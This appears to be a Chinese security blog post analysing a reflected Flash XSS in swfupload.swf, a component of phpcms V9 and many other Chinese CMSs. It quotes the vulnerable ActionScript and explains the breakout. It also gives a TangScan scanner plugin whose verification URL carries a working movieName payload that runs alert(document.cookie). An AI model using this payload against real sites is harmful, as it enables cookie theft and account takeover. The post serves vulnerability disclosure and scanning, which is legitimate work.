最近看到WooYun-2014-69833报告中对swfupload.swf、uploadify.swf造成的flash xss 分析,由于涉及范围广(国内各大cms厂商,包括但不限于dedecms、phpcms、cmseasy、espcms、phpyun、thinksns、骑士人才系统、phpdisk、国微php168、phpok、kesioncms、pageadmin、xheditor、sdcms、emlog、dtcms等)命中率应该还可以,便给Tangscan提交了几个此类型插件,这里也分享一下代码。

先看下漏洞成因

this.movieName = root.loaderInfo.parameters.movieName;

            this.flashReady_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].flashReady");

            this.fileDialogStart_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].fileDialogStart");

            this.fileQueued_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].fileQueued");

            this.fileQueueError_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].fileQueueError");

            this.fileDialogComplete_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].fileDialogComplete");

            this.uploadStart_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].uploadStart");

            this.uploadProgress_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].uploadProgress");

            this.uploadError_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].uploadError");

            this.uploadSuccess_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].uploadSuccess");

            this.uploadComplete_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].uploadComplete");

            this.debug_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].debug");

            this.testExternalInterface_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].testExternalInterface");

            this.cleanUp_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].cleanUp");

代码可见,从参数(root.loaderInfo.parameters.movieName)中获得movieName后直接赋值到一些callback响应函数中,这些函数是js中执行的内容。我们只需闭合前面的”],再闭合try..catch中大括号},即可执行自己的javascript代码,造成反射型XSS。

因为是flash xss,而且没有过多关键字,所以无视浏览器filter和大部分WAF(因为在前端运行),所以影响较大,轻则越权操作、产生XSS、csrf蠕虫,重则直接getshell(结合某些cms的后台getshell技巧)。

 

分享下phpcms V9 /swfupload.swf XSS POC

  • TangScan-ID:TS-2014-17843
#! /usr/bin/env python
# -*- coding: utf-8 -*-

import md5
from thirdparty import requests
from modules.exploit import TSExploit


class TangScan(TSExploit):
    def __init__(self):
        super(self.__class__, self).__init__()
        self.info = {
            "name": "phpcms V9 /swfupload.swf XSS",
            "product": "phpcmsv9",
            "product_version": "",
            "desc": """
            phpcms V9 /swfupload.swf XSS
            """,
            "license": self.license.TS,
            "author": ["侦探911"],
            "ref": [
                {self.ref.wooyun: "http://www.wooyun.org/bugs/wooyun-2014-069833"},
            ],
            "type": self.type.xss,
            "severity": self.severity.low,
            "privileged": False,
            "disclosure_date": "",
            "create_date": ""
        }
        self.register_option({
            "url": {
                "default": "",
                "required": True,
                "choices": [],
                "convert": self.convert.url_field,
                "desc": ""
            }
        })
        self.register_result({
            "status": False,
            "data": {

            },
            "description": "",
            "error": ""
        })

    def md5(self, content):
        return md5.new(content).hexdigest()

    def verify(self):
        flash_md5 = "3a1c6cc728dddc258091a601f28a9c12"
        exp_url = "{domain}/statics/js/swfupload/swfupload.swf".format(domain=self.option.url.rstrip('/'))

        try:
            response = requests.get(exp_url, verify=False, timeout=15)
        except Exception, e:
            self.result.error = str(e)
            return

        if self.md5(response.content) == flash_md5:
            self.result.status = True
            self.result.description = "目标 {url} 存在反射XSS, 验证url: {verify_url}".format(
                url=self.option.url,
                verify_url=exp_url + "?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//"
            )

    def exploit(self):
        self.verify()


if __name__ == '__main__':
    from modules.main import main
    main(TangScan())